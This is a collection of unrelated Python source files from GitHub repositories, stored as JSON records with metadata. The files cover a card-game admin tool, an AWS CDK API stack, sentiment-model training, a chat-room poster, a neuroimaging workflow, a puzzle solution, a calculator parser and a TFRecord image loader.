to cardCategories array\r\n\r\n n = int(input(\"Enter the number of categories with date values: \"))\r\n #User enters the number of categories that will have a date value instead of a number\r\n SaveOrQuit(str(n))\r\n while n > 0:\r\n dateInput = Select(\"Select the category with a date value.\", cardCategories[len(cardCategories) - 1], False)\r\n n -= 1\r\n cardDateCategories[len(cardDateCategories) - 1].append(dateInput)\r\n #This while iteration allows the user to select the categories they want to have date values and adds the index of that category to the list of the current card set in the cardDateCategories array\r\n \r\n cards.append([])\r\n #An empty list is added to the cards array\r\n\r\n cardSets.append(newName)\r\n setColours.append(colours[inputColour])\r\n #The values of newName and colours with index of inputColour added to the arrays cardSets and setColours respectively\r\n \r\n time.sleep(1)\r\n print(\"'\" + newName + \"' has been added to the card sets. Now you are able to add new cards to this set.\")\r\n #After a 1 second delay, a message is displayed to user, saying that their new card set has been added\r\n\r\n elif changeInput == 3:\r\n #If the user inputs 4\r\n setInput = Select(\"Which card set do you want to delete?\", cardSets, False)\r\n #The user selects the card set they want to delete from the array cardSets, where the returned value is stored as the variable setInput\r\n confirm = Select(\"Are you sure you want to delete the card set '\" + cardSets[setInput] + \"'?\", yesOrNo, False)\r\n #The user selects yes or no (from the yesOrNo list) in confirmation of their last input, where the returned value is stored as the variable confirm\r\n if confirm == 0:\r\n #If the user selected yes\r\n temp = cardSets[setInput]\r\n #Current name of the selected card set is stored as the temp variable\r\n del cardSets[setInput]\r\n del setColours[setInput]\r\n del cardCategories[setInput]\r\n del cardDateCategories[setInput]\r\n del cards[setInput]\r\n #The values above are deleted\r\n time.sleep(1)\r\n print(\"'\" + temp + \"' has been deleted!\")\r\n #A message tells the user that their selected card set has been deleted\r\n else:\r\n #If the user selected no\r\n print(\"'\" + cardSets[setInput] + \"' has NOT been deleted!\")\r\n #A message tells the user that their selected card set has NOT been deleted\r\n\r\n elif changeInput == 4:\r\n setInput = Select(\"Select the card set you want to edit:\", cardSets, False)\r\n cardInput = Select(\"Select the card from \" + str(cardSets[setInput]) + \" you want to alter:\", cards[setInput], True)\r\n categoryInput = Select(\"Select the category of the card, \" + str(cards[setInput][cardInput][0]) + \", you want to edit:\", cardCategories[setInput], False)\r\n \r\n print(str(cardCategories[setInput][categoryInput]) + \": \" + str(cards[setInput][cardInput][categoryInput + 2]))\r\n newCategory = input(\"Enter the new value of this card category: \")\r\n SaveOrQuit(newCategory)\r\n cards[setInput][cardInput][categoryInput + 2] = int(newCategory)\r\n time.sleep(1)\r\n print(str(cardCategories[setInput][categoryInput]) + \": \" + str(cards[setInput][cardInput][categoryInput + 2]))\r\n\r\n elif changeInput == 5:\r\n setInput = Select(\"Which card set do you want to add a card to?\", cardSets, False)\r\n\r\n newCard = input(\"Enter name of new card: \")\r\n SaveOrQuit(newCard)\r\n \r\n\r\n print(\"Now place your new card's image in the 'Images' folder.\")\r\n imageName = input(\"Enter the EXACT name of your image: \")\r\n SaveOrQuit(imageName)\r\n imageType = input(\"Enter the file type of the image (e.g. 'jpg' or 'png'): \")\r\n SaveOrQuit(imageType)\r\n\r\n for i in cardCategories[setInput]:\r\n if setInput in cardDateCategories[setInput]:\r\n pass\r\n else:\r\n catValue = input(\"Enter value for \" + i + \": \")\r\n SaveOrQuit(catValue)\r\n cards[setInput][len(cards[setInput]) - 1].append(str(catValue))\r\n\r\n cards[setInput].append([])\r\n cards[setInput][len(cards[setInput]) - 1].append(str(newCard))\r\n cards[setInput][len(cards[setInput]) - 1].append(str(imageName) + str(imageType))\r\n \r\n time.sleep(1)\r\n print(\"'\" + str(cards[setInput][len(cards[setInput]) - 1][0]) + \"' has been added to the card set '\" + cardSets[setInput] + \"'!\")\r\n\r\n elif changeInput == 6:\r\n setInput = Select(\"Select the card set that contains the card that you want deleted:\", cardSets, False)\r\n \r\n cardInput = Select(\"Which card do you want to delete?\", cards[setInput], True)\r\n \r\n confirm = Select(\"Are you sure you want to delete the card '\" + str(cards[setInput][cardInput][0]) + \"'?\", yesOrNo, False)\r\n if confirm == 0:\r\n temp = str(cards[setInput][cardInput][0])\r\n \r\n del cards[setInput][cardInput]\r\n time.sleep(1)\r\n print(\"'\" + temp + \"' has been deleted!\")\r\n else:\r\n print(\"'\" + cardSets[setInput] + \"' has NOT been deleted!\")\r\n\r\n print(\"Type 'save' to save these changes.\")\r\n MainProgram()\r\n #Returns to the start of the program\r\n\r\nprint(\"Welcome to Admin!\")\r\nprint(\"At any time, you can type 'exit' to exit the program or 'save' to save your changes to the cards. You can also type 'main' to go back to the main menu. IF YOU DO NOT TYPE 'save' BEFORE 'exit', YOUR CHANGES WILL BE LOST!\")\r\n#Introduction with instructions to the user are displayed\r\nMainProgram()\r\n#Function is called which contains the main program\r\n","repo_name":"alexander45139/Top-Trumps","sub_path":"Final/Resources/Admin.py","file_name":"Admin.py","file_ext":"py","file_size_in_byte":16158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"28444937287","text":"from aws_cdk import (\n # Duration,\n Stack,\n aws_lambda as _lambda,\n aws_sns as _sns,\n aws_apigateway as apigw\n # aws_sqs as sqs,\n)\nfrom constructs import Construct\n\nclass LambdaApigwSnsStack(Stack):\n\n def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:\n super().__init__(scope, construct_id, **kwargs)\n api_lambda = _lambda.Function(\n self, 'apiLambda',\n \n runtime=_lambda.Runtime.PYTHON_3_7,\n code=_lambda.Code.from_asset('src'),\n handler='apiLambda.handler',\n )\n \n api = apigw.RestApi(self,\"broker-api\")\n # v1 = api.root.add_resource(\"v1\")\n # echo = api.root.add_resource(\"echo\")\n lambda_method = api.root.add_resource(\"lambda\")\n api_lambda_method = lambda_method.add_method(\"GET\",apigw.LambdaIntegration(api_lambda),api_key_required=True)\n\n plan = api.add_usage_plan(\n \"UsagePlan\",\n name=\"Easy\",\n throttle=apigw.ThrottleSettings (\n rate_limit=10,\n burst_limit=2\n )\n )\n key=api.add_api_key(\"ApiKey\")\n plan.add_api_key(key)\n \n\n\n \n\n\n \n","repo_name":"harshnagpal/lambda_apigw_sns","sub_path":"lambda_apigw_sns/lambda_apigw_sns_stack.py","file_name":"lambda_apigw_sns_stack.py","file_ext":"py","file_size_in_byte":1212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"23909968508","text":"import os\nimport warnings\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom sklearn.exceptions import UndefinedMetricWarning\nfrom sklearn.preprocessing import LabelEncoder\nimport torch\nfrom torch.utils.data import DataLoader\n\nfrom config import EMB_PATH\nfrom dataloading import SentenceDataset\nfrom models import BaselineDNN\nfrom models import LSTM\nfrom models import Bidirectional_LSTM\n\nfrom selfattention import SelfAttention\nfrom selfattention import BiAttentionLSTM\n\n\nfrom training import train_dataset, eval_dataset\nfrom utils.load_datasets import load_MR, load_Semeval2017A\nfrom utils.load_embeddings import load_word_vectors\nfrom sklearn.metrics import f1_score, accuracy_score, recall_score\nwarnings.filterwarnings(\"ignore\", category=UndefinedMetricWarning)\n\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.feature_extraction.text import TfidfTransformer\nfrom sklearn.feature_extraction.text import TfidfVectorizer\n\n########################################################\n# Configuration\n########################################################\n\n\n# Download the embeddings of your choice\n# for example http://nlp.stanford.edu/data/glove.6B.zip\n\n# 1 - point to the pretrained embeddings file (must be in /embeddings folder)\nEMBEDDINGS = os.path.join(EMB_PATH, \"glove.6B.50d.txt\")\n\n# 2 - set the correct dimensionality of the embeddings\nEMB_DIM = 50\n\nEMB_TRAINABLE = False\nBATCH_SIZE = 128\nEPOCHS = 50\nDATASET = \"MR\" # options: \"MR\", \"Semeval2017A\"\nhidden_dim = 50\n\n\n# if your computer has a CUDA compatible gpu use it, otherwise use the cpu\n\n#DEVICE = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\nDEVICE = torch.device(\"cpu\")\n########################################################\n# Define PyTorch datasets and dataloaders\n########################################################\n\n# load word embeddings\n\nword2idx, idx2word, embeddings = load_word_vectors(EMBEDDINGS, EMB_DIM)\n\n\n# load the raw data\nX_train, y_train, X_test, y_test = load_MR()\n\n\nle = LabelEncoder() #EX1\n\n######################## EX 6.6.1 ##########################################\n#______________________ bow-tfidf features _________________________________\n\n\ncount_vect = CountVectorizer()\nX_train_counts = count_vect.fit_transform(X_train)\nkeys = list(count_vect.vocabulary_.keys())\n\ntfidf_transformer = TfidfTransformer()\nX_train_tfidf = tfidf_transformer.fit_transform(X_train_counts)\n\nvec = X_train_tfidf.tocoo()\nfeature_names=count_vect.get_feature_names()\ntuples = zip(vec.col, vec.data)\n\ntfidf_vals = []\nfeature_vals = []\nfor idx, score in tuples:\n\n #keep track of feature name and its corresponding tfidf value\n tfidf_vals.append(round(score, 4)) \n feature_vals.append(feature_names[idx])\n\n#create a tuples of feature,score\n#results = zip(feature_vals,score_vals)\nresults= {}\nfor idx in range(len(feature_vals)):\n results[feature_vals[idx]]=tfidf_vals[idx]\n\ntfidfs = results\n\n\nfor word in tfidfs:\n if word in word2idx:\n embeddings[word2idx[word]] = embeddings[word2idx[word]]*tfidfs[word]\n \n\n\nle.fit(y_train) #EX1\ny_train = le.transform(y_train) #EX1\nle.fit(y_test)#EX1\ny_test = le.transform(y_test) # EX1\nn_classes = le.classes_.size # EX1 - LabelEncoder.classes_.size\n\n#print(\"The first 10 labels for MR Dataset mapped into numbers: \", y_train[:10]) #EX1\n\n# Define our PyTorch-based Dataset\ntrain_set = SentenceDataset(X_train, y_train, word2idx)\ntest_set = SentenceDataset(X_test, y_test, word2idx)\n\n\n# EX4 - Define our PyTorch-based DataLoader\ntrain_loader = torch.utils.data.DataLoader(train_set, BATCH_SIZE, shuffle=True) # EX7 \ntest_loader = torch.utils.data.DataLoader(test_set, BATCH_SIZE, shuffle=False) # EX7 \n\n#############################################################################\n# Model Definition (Model, Loss Function, Optimizer)\n#############################################################################\n\n\"\"\"\n######################## EX 3.1.1 ##########################################\n#______________________ u=[mean(E)||max(E)] _______________________________\n\nmodel1 = BaselineDNN(output_size=n_classes, # model1 is u=[mean(E)||max(E)]\n embeddings=embeddings, #EX 3.1.1\n trainable_emb=EMB_TRAINABLE)\n\nmodel1.to(DEVICE)\ncriterion = torch.nn.BCEWithLogitsLoss()\nparameters1 = []\n\n# We optimize ONLY those parameters that are trainable (p.requires_grad==True)\nfor p in model1.parameters():\n if p.requires_grad:\n parameters1.append(p)\n\noptimizer1 = torch.optim.Adam(parameters1, lr=0.0001)\n\n######################## EX 3.2.1 ##########################################\n#______________________ u=hN _______________________________________________\n\ncriterion = torch.nn.BCEWithLogitsLoss()\nmodel2 = LSTM(EMB_DIM, hidden_dim, n_classes,BATCH_SIZE, embeddings) # model2 is u=hN\nmodel2.to(DEVICE)\n\nparameters2 = []\n\n# We optimize ONLY those parameters that are trainable (p.requires_grad==True)\nfor p in model2.parameters():\n if p.requires_grad:\n parameters2.append(p)\n\noptimizer2 = torch.optim.Adam(parameters2, lr=0.0001)\n\n######################## EX 3.2.2 ##########################################\n#_______________________ u= [hN||mean(E)||max(E)] __________________________\n\ncriterion = torch.nn.BCEWithLogitsLoss()\nmodel3 = LSTM(EMB_DIM, hidden_dim, n_classes,BATCH_SIZE, embeddings) # model3 is u= [hN||mean(E)||max(E)]\nmodel3.to(DEVICE)\n\nparameters3 = []\n\n# We optimize ONLY those parameters that are trainable (p.requires_grad==True)\nfor p in model3.parameters():\n if p.requires_grad:\n parameters3.append(p)\n\noptimizer3 = torch.optim.Adam(parameters3, lr=0.0001)\n\n######################## EX 3.3.1 ##########################################\n#_______________________ u=sum(ai*ei) ______________________________________\n\ncriterion = torch.nn.BCEWithLogitsLoss()\nmodel4 = SelfAttention( batch_first=False, non_linearity=\"tanh\", embeddings=embeddings) # model4 is u=sum(ai*ei) \n#We optimize ONLY those parameters that are trainable (p.requires_grad==True)\nparameters4 = []\nfor p in model4.parameters():\n if p.requires_grad:\n parameters4.append(p)\n\noptimizer4 = torch.optim.Adam(parameters4, lr=0.0001)\n\n######################## EX 3.3.2 ##########################################\n#_______________________ u=sum(ai*hi) ______________________________________\n\ncriterion = torch.nn.BCEWithLogitsLoss()\nmodel5 = SelfAttention( batch_first=False, non_linearity=\"tanh\", embeddings=embeddings) # model5 is u=sum(ai*hi) \n#We optimize ONLY those parameters that are trainable (p.requires_grad==True)\nparameters5 = []\nfor p in model5.parameters():\n if p.requires_grad:\n parameters5.append(p)\n\noptimizer5 = torch.optim.Adam(parameters5, lr=0.0001)\n\n######################## EX 3.4.1 ##########################################\n#_______________________ u=bi([hN||mean(E)||max(E)]) _______________________\n\ncriterion = torch.nn.BCEWithLogitsLoss()\nmodel6 = Bidirectional_LSTM(embedding_dim=EMB_DIM, hidden_dim = hidden_dim, label_size = n_classes, batch_size = BATCH_SIZE, embeddings = embeddings, bidirectional = True ) # model6 is u=bi([hN||mean(E)||max(E)])\n\nparameters6 = []\nfor p in model6.parameters():\n if p.requires_grad:\n parameters6.append(p)\n\noptimizer6 = torch.optim.Adam(parameters6, lr=0.0001)\n\"\"\"\n######################## EX 3.4.2 ##########################################\n#_______________________ u=bi(sum(ai*hi))___________________________________\n\ncriterion = torch.nn.BCEWithLogitsLoss()\nmodel7 = BiAttentionLSTM(embedding_dim=50, hidden_dim=50, label_size=n_classes, batch_size=128, embeddings=embeddings, bidirectional=True, batch_first=False, non_linearity=\"tanh\")\nparameters7 = []\nfor p in model7.parameters():\n if p.requires_grad:\n parameters7.append(p)\n\noptimizer7 = torch.optim.Adam(parameters7, lr=0.0001)\n\n#############################################################################\n# Training Pipeline\n#############################################################################\n\ntrain_losses = []\ntest_losses = []\n\nfor epoch in range(1, EPOCHS + 1):\n # train the model for one epoch\n train_dataset(epoch, train_loader, model7, criterion, optimizer7)\n\n # evaluate the performance of the model, on both data sets\n train_loss, (y_train_gold, y_train_pred) = eval_dataset(train_loader,\n model7,\n criterion)\n \n train_losses.append(train_loss)\n \n test_loss, (y_test_gold, y_test_pred) = eval_dataset(test_loader,\n model7,\n criterion)\n \n #f.write(\"y_test_gold is:\"+str(y_test_gold)+'\\n')\n #f.write(\"y_test_pred is:\"+str(y_test_pred)+'\\n')\n test_losses.append(test_loss)\n\nprint(\"train accuracy\", accuracy_score(y_train_gold, y_train_pred))\nprint(\"train f1 score\", f1_score(y_train_gold, y_train_pred))\nprint(\"train recall\", recall_score(y_train_gold, y_train_pred)) \nprint(\"test accuracy\", accuracy_score(y_test_gold, y_test_pred))\nprint(\"test f1\", f1_score(y_test_gold, y_test_pred))\nprint(\"test recall\", recall_score(y_test_gold, y_test_pred))\n#f.close()\nfig = plt.figure()\nplt.plot(train_losses, label=\"train data\")\nplt.plot(test_losses, label=\"test data\")\nfig.suptitle('BoW-Model7 u=bi(sum(ai*hi)) Loss - epochs train and test set', fontsize=10)\nplt.xlabel('Epochs', fontsize=16)\nplt.ylabel('Running Loss', fontsize=16)\nplt.legend()\nplt.show()\n\n","repo_name":"christinetkn/Natural-Language-Processing","sub_path":"project 3/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"30418490759","text":"import json\nimport httplib2\n\n\nclass send_to_kato(NebriOS):\n KATO_HTTP_POST_FORMAT = 'https://api.kato.im/rooms/%s/simple'\n \n # Fill in your room id \n KATO_ROOM_ID = ''\n KATO_HTTP_POST_ENDPOINT = KATO_HTTP_POST_FORMAT % (KATO_ROOM_ID,)\n\n listens_to = ['send_to_kato']\n \n\n def check(self):\n return u'%s' % self.send_to_kato\n\n def action(self):\n data = {\n 'renderer': 'markdown',\n 'text': u'%s' % self.send_to_kato\n }\n\n headers = {\n 'content-type': 'application/json'\n }\n \n h = httplib2.Http('.cache')\n (resp, content) = h.request(\n self.KATO_HTTP_POST_ENDPOINT,\n 'POST',\n body=json.dumps(data),\n headers=headers\n )\n","repo_name":"adamhub/nebri","sub_path":"kato.py","file_name":"kato.py","file_ext":"py","file_size_in_byte":780,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"18"} +{"seq_id":"26953135919","text":"import pydra\nfrom pydra import Workflow\n\nfrom clinica.pydra.engine import clinica_io\n\n\n@clinica_io\ndef build_core_workflow(name: str = \"core\", parameters={}) -> Workflow:\n \"\"\"Build the core workflow for the Statistics Volume pipeline.\n\n Parameters\n ----------\n name : str, optional\n The name of the workflow. Default=\"core\".\n\n parameters : dict, optional\n Dictionary of parameters to be used\n within the workflow.\n Default={}.\n\n Returns\n -------\n wf : Workflow\n The core workflow.\n \"\"\"\n from os.path import abspath, dirname, exists, join, pardir\n from typing import Any\n\n import numpy as np\n\n import clinica.pydra.statistics_volume_correction.task as utils\n from clinica.pydra.tasks import download_mni_template_2009a\n from clinica.utils.spm import spm_standalone_is_available, use_spm_standalone\n\n if spm_standalone_is_available():\n use_spm_standalone()\n\n query = {\"pattern\": parameters[\"t_map\"] + \"*\", \"description\": \"statistics t map\"}\n\n input_spec = pydra.specs.SpecInfo(\n name=\"Input\",\n fields=[\n (\"_graph_checksums\", Any),\n (\"t_map\", dict, query, {\"mandatory\": True}),\n ],\n bases=(pydra.specs.BaseSpec,),\n )\n wf = Workflow(name, input_spec=input_spec)\n\n for threshold in (\"FWE\", \"FDR\"):\n wf.add(\n utils.peak_correction_task(\n name=f\"{threshold}_peak_correction_task\",\n t_map=wf.lzin.t_map,\n t_threshold=parameters[f\"{threshold}p\"],\n )\n )\n for threshold in (\"FWE\", \"FDR\"):\n wf.add(\n utils.cluster_correction_task(\n name=f\"{threshold}_cluster_correction_task\",\n t_map=wf.lzin.t_map,\n t_thresh=parameters[\"height_threshold\"],\n c_thresh=parameters[f\"{threshold}c\"],\n )\n )\n\n wf.add(download_mni_template_2009a(name=\"download_mni_template\"))\n\n for threshold in (\"FWE\", \"FDR\"):\n for kind in (\"peak\", \"cluster\"):\n t_thresh_key = f\"{threshold}p\" if kind == \"peak\" else \"height_threshold\"\n c_thresh = parameters[f\"{threshold}c\"] if kind == \"cluster\" else np.nan\n wf.add(\n utils.produce_figures_task(\n name=f\"produce_figure_{threshold}_{kind}_correction\",\n nii_file=getattr(\n wf, f\"{threshold}_{kind}_correction_task\"\n ).lzout.nii_file,\n template=wf.download_mni_template.lzout.mni_template_file,\n type_of_correction=threshold,\n t_thresh=parameters[t_thresh_key],\n c_thresh=c_thresh,\n n_cuts=parameters[\"n_cuts\"],\n )\n )\n wf.add(\n utils.generate_output_task(\n name=f\"save_figure_{kind}_correction_{threshold}\",\n t_map=wf.lzin.t_map,\n figs=getattr(\n wf, f\"produce_figure_{threshold}_{kind}_correction\"\n ).lzout.figs,\n correction_name=f\"{threshold}{kind[0]}\",\n )\n )\n wf.set_output([(\"figs\", wf.produce_figure_FDR_peak_correction.lzout.figs)])\n return wf\n","repo_name":"aramis-lab/clinica","sub_path":"clinica/pydra/statistics_volume_correction/pipeline.py","file_name":"pipeline.py","file_ext":"py","file_size_in_byte":3319,"program_lang":"python","lang":"en","doc_type":"code","stars":196,"dataset":"github-code","pt":"18"} +{"seq_id":"12829046220","text":"import random\nimport re\n\n# --- Constants --\nINPUT_FILE = \"../input/input.txt\"\nREGEX = r\"^([a-zA-Z]+) => ([a-zA-Z]+)$\"\n\n# --- Variables ---\n_map = {}\npairs = []\nmolecule = \"\"\nfirst = True\n\n# --- Read and Parse the input file --\nfile = open(INPUT_FILE, \"r\")\nwhile True:\n line = file.readline()\n if not line: break\n line = line.strip()\n\n if len(line) == 0:\n first = False\n else:\n if first:\n cap = re.search(REGEX, line)\n if cap[1] not in _map: _map[cap[1]] = []\n _map[cap[1]].append(cap[2])\n pairs.append((cap[1], cap[2]))\n else:\n molecule = line\nfile.close()\n\n# --- Puzzle 1 ---\nregex = \"(\" + \"|\".join(_map.keys()) + \")\"\n_set = set()\npattern = re.compile(regex)\nfor match in pattern.finditer(molecule):\n i = match.start()\n j = match.end()\n v = match[0]\n for x in _map[v]:\n s = molecule[0:i] + x + molecule[j:]\n _set.add(molecule[0:i] + x + molecule[j:])\nprint(f\"1. Distinct molecules can be created: {len(_set):,d}\")\n\n# --- Puzzle 2 ---\ntarget = molecule[:]\nsteps = 0\nwhile target != \"e\":\n change = False\n for p in pairs:\n if p[1] in target:\n target = target.replace(p[1], p[0], 1)\n change = True\n break\n\n if not change:\n random.shuffle(pairs)\n target = molecule[:]\n steps = 0\n continue;\n\n steps += 1\nprint(f\"2. Fewest number of steps: {steps:,d}\")\n","repo_name":"jcanop/aoc","sub_path":"2015/19/python/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1444,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"30033514192","text":"import re\nfrom src.math_library.math_library import MathLibrary\n\nclass ExpressionParser:\n \"\"\"Parse string containing numbers and operation characters.\n eg. \"2+3.4-5*10/7.01^4\"\n Returns array where every item is either a float number of character representing operation.\n \"\"\"\n\n def solveString(self, string):\n \"\"\"!\n String consisting of numbers and operators eg \"12*3*(34-20/4)\" is calculated and returned as float\n\n @param string String with numbers and operators.\n @return Float result\n \"\"\"\n\n items = self._convert_to_depth(string) # parse parentheses\n items = self._parse_meaning(items) # convert to floats\n return float(self._solve(items))\n\n def _push_parentheses(self, obj, result, depth):\n \"\"\"!\n Helper function for _convert_to_depth. It appends to result object by defined depth.\n @param obj object which will be appended to result\n @param result depth array\n @param depth integer\n \"\"\"\n while depth:\n result = result[-1]\n depth -= 1\n\n result.append(obj)\n\n def _convert_to_depth(self, s):\n \"\"\"!\n Convert string to array of string characters by its depth defined by parentheses.\n Result is multi-level depth array.\n\n eg. \"10+(2+3)\" will return [\"1\", \"0\", \"+\", [\"2\", \"+\", \"3\"]]\n\n @param s String which will be converted to multilevel array\n @return multilevel array eg. [\"1\", \"0\", \"+\", [\"2\", \"+\", \"3\"]]\n \"\"\"\n groups = []\n depth = 0\n\n try:\n for char in s:\n if char == '(':\n self._push_parentheses([], groups, depth)\n depth += 1\n elif char == ')':\n depth -= 1\n else:\n self._push_parentheses(char, groups, depth)\n except IndexError:\n raise ValueError('Parentheses mismatch')\n\n if depth > 0:\n raise ValueError('Parentheses mismatch')\n else:\n return groups\n\n def _parse_meaning(self, items):\n result = []\n\n number_str = \"\"\n state = 0\n for i in range(0, len(items)):\n if isinstance(items[i], list):\n fromChild = self._solve(self._parse_meaning(items[i].copy()))\n number_str = number_str + str(fromChild)\n state = 1\n\n # finite state machine - TODO: Create image\n elif state == 0:\n if items[i].isnumeric():\n state = 1\n number_str = number_str + items[i]\n elif items[i] == '-':\n state = 2\n number_str = number_str + '-'\n elif state == 1:\n if items[i].isnumeric() or items[i] == '.':\n # state stays the same\n number_str = number_str + items[i]\n elif (not items[i].isnumeric()) and (items[i] != '.'):\n result.append(self._str_to_float(number_str)) # append number\n number_str = \"\"\n state = 3\n result.append(items[i]) # append operation\n\n elif state == 2:\n if items[i].isnumeric():\n state = 1\n number_str = number_str + items[i]\n else:\n number_str = number_str + \"-\" # because double - - after each other -> one operation, one for number\n elif state == 3:\n if items[i] == '-':\n state = 2\n number_str = number_str + '-'\n elif items[i].isnumeric():\n state = 1\n number_str = number_str + items[i]\n\n if number_str:\n result.append(self._str_to_float(number_str))\n\n return result\n\n def _str_to_float(self, string):\n # remove double minuses\n string = re.sub('--', '', string)\n try:\n return float(string)\n except ValueError:\n return 0.0\n\n def _solve(self, items):\n \"\"\"\n Solve function takes items from a given list of a math expression\n and executes math library functions according to Arithmetic precedence rules\n\n :param items: (items from list)\n :return result: (final value)\n \"\"\"\n\n library = MathLibrary() # Initialization of Math library\n item_count = len(items)\n i = 0\n while i < item_count:\n if items[i] == \"!\": # Checks for factorial, converts to int value\n items[i] = library.factorial(items[i - 1])\n del items[i - 1]\n item_count -= 1\n i += 1\n\n item_count = len(items)\n i = 0\n while i < item_count:\n if items[i] == \"^\" or \"√\": # Checks for power and square root\n if items[i] == \"^\":\n items[i] = library.powerOf(items[i-1], items[i+1])\n del items[(i - 1):(i + 2):2]\n item_count -= 2\n continue\n if items[i] == \"√\":\n items[i] = library.squareroot(items[i-1], items[i+1])\n del items[(i - 1):(i + 2):2]\n item_count -= 2\n continue\n i += 1\n\n item_count = len(items)\n i = 0\n while i < item_count:\n if items[i] == \"*\" or \"/\": # Checks for multiplication and division\n if items[i] == \"*\":\n items[i] = library.multiplication(items[i-1], items[i+1])\n del items[(i - 1):(i + 2):2]\n item_count -= 2\n continue\n if items[i] == \"/\":\n items[i] = library.division(items[i-1], items[i+1])\n del items[(i - 1):(i + 2):2]\n item_count -= 2\n continue\n i += 1\n\n item_count = len(items)\n i = 0\n while i < item_count:\n if items[i] == \"+\" or \"-\": # Checks for plus and minus\n if items[i] == \"+\":\n items[i] = library.sum(items[i-1], items[i+1])\n del items[(i - 1):(i + 2):2]\n item_count -= 2\n continue\n if items[i] == \"-\":\n items[i] = library.difference(items[i-1], items[i+1])\n del items[(i - 1):(i + 2):2]\n item_count -= 2\n continue\n i += 1\n\n item_count = len(items)\n i = 0\n while i < item_count:\n if items[i] == \"%\": # Checks for percent\n items[i] = library.percent(items[i-1], items[i+1])\n del items[(i - 1):(i + 2):2]\n item_count -= 2\n continue\n i += 1\n\n item_count = len(items)\n i = 0\n while i < item_count:\n if items[i] == \"mod\": # Checks for modulo\n items[i] = library.modulo(items[i-1], items[i+1])\n del items[(i - 1):(i + 2):2]\n item_count -= 2\n continue\n i += 1\n\n result = items[0]\n return result\n","repo_name":"MigelusMaximus/ODPAD.github.io","sub_path":"calculator-1.0/src/expression_parser.py","file_name":"expression_parser.py","file_ext":"py","file_size_in_byte":7332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"40343829580","text":"import tensorflow as tf\nimport numpy as np\nimport os\nimport matplotlib.pyplot as plt\n\n\ndef read_and_decode(tfrecords_file, batch_size):\n filename_queue = tf.train.string_input_producer([tfrecords_file])\n\n reader = tf.TFRecordReader()\n _, serialized_example = reader.read(filename_queue)\n img_features = tf.parse_single_example(\n serialized_example,\n features={\n 'label': tf.FixedLenFeature([], tf.int64),\n 'image_raw': tf.FixedLenFeature([], tf.string),\n })\n image = tf.decode_raw(img_features['image_raw'], tf.uint8)\n\n image = tf.reshape(image, [208, 208, 3])\n label = tf.cast(img_features['label'], tf.int32)\n image_batch, label_batch = tf.train.shuffle_batch([image, label],\n batch_size=batch_size,\n num_threads=64,\n capacity=20000,\n min_after_dequeue=3000)\n return image_batch, tf.reshape(label_batch, [batch_size])\n\n\ndef plot_images(images, labels):\n '''plot one batch size\n '''\n for i in np.arange(0, 25):\n plt.subplot(5, 5, i + 1)\n plt.axis('off')\n plt.title(str(labels[i]), fontsize=14)\n plt.subplots_adjust(top=1.5)\n plt.imshow(images[i])\n plt.show()\n\n\ntfrecords_file = 'F:/Traindata/faceTF/208x208(2).tfrecords'\nimage_batch, label_batch = read_and_decode(tfrecords_file, batch_size=25)\n\nwith tf.Session() as sess:\n i = 0\n coord = tf.train.Coordinator()\n threads = tf.train.start_queue_runners(coord=coord)\n\n try:\n while not coord.should_stop() and i < 1:\n image, label = sess.run([image_batch, label_batch])\n plot_images(image, label)\n i += 1\n\n except tf.errors.OutOfRangeError:\n print('done!')\n finally:\n coord.request_stop()\n coord.join(threads)\n","repo_name":"wangtianrui/wider_face_code","sub_path":"test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":1963,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"26466364204","text":"def fun1(x,y):\r\n if y <=x: \r\n return 1+fun1(x-y,y)\r\n else:\r\n return 0\r\n\r\nx=int(input(\"Enter first number:\"))\r\ny=int(input(\"Enter second number:\"))\r\nres=fun1(x,y)\r\nprint(res)\r\n\r\n\"\"\" OUTPUT->\r\nEnter first number:100\r\nEnter second number:20\r\n5 \"\"\"\r\n","repo_name":"ParagChandraRai/PYTHON","sub_path":"LAB4/Q9REC.py","file_name":"Q9REC.py","file_ext":"py","file_size_in_byte":260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"34348217705","text":"N = int(input())\nscore = 0\n\nfor i in range(N):\n line = input()\n TC = []\n for a in line:\n TC.append(a)\n \n for k in range(len(TC)):\n if TC[k] == 'O':\n score += 1\n TC[k] = score\n else:\n score = 0\n TC[k] = score\n print(sum(TC))\n score = 0","repo_name":"wnsals411/Self-Study-BaekJoon-","sub_path":"5.1차원 배열/6.OX퀴즈.py","file_name":"6.OX퀴즈.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"71427031080","text":"# This Python 3 environment comes with many helpful analytics libraries installed\n\n# It is defined by the kaggle/python docker image: https://github.com/kaggle/docker-python\n\n# For example, here's several helpful packages to load in \n\n\n\nimport numpy as np # linear algebra\n\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\n\n\n\n# Input data files are available in the \"../input/\" directory.\n\n# For example, running this (by clicking run or pressing Shift+Enter) will list all files under the input directory\n\n\n\nimport os\n\nfor dirname, _, filenames in os.walk('/kaggle/input'):\n\n for filename in filenames:\n\n print(os.path.join(dirname, filename))\n\n\n\n# Any results you write to the current directory are saved as output.\n\n\n\nimport numpy as np\n\nimport pandas as pd\n\nfrom sklearn.model_selection import StratifiedKFold\n\nfrom tqdm import tqdm_notebook as tqdm\n\nimport os\n\nimport gc\n\nimport warnings\n\nwarnings.filterwarnings(\"ignore\")\n# Original code from 